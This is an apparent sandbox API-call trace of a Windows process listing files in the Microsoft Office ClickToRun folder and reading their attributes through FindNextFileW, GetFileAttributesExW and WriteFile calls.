	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1
	[0241.464] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x406d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVShNotify.exe", cAlternateFileName="APPVSH~1.EXE")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14115400, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0xc84c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b3e121, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb4b54300, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x127260, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8ee04f00, ftLastWriteTime.dwHighDateTime=0x1d0d67f, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RHeartbeatConfig.xml", cAlternateFileName="C2RHEA~1.XML")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb3841600, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RUI.en-us.dll", cAlternateFileName="C2RUIE~1.DLL")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1
	[0241.465] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1
	[0241.466] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0241.467] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1
	[0241.467] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1
	[0241.467] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1
	[0241.467] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1
	[0241.467] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1
	[0241.467] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.467] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0241.468] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40)) returned 1
	[0241.468] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8)) returned 1
	[0241.469] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8)) returned 1
	[0241.469] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8)) returned 1
	[0241.470] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
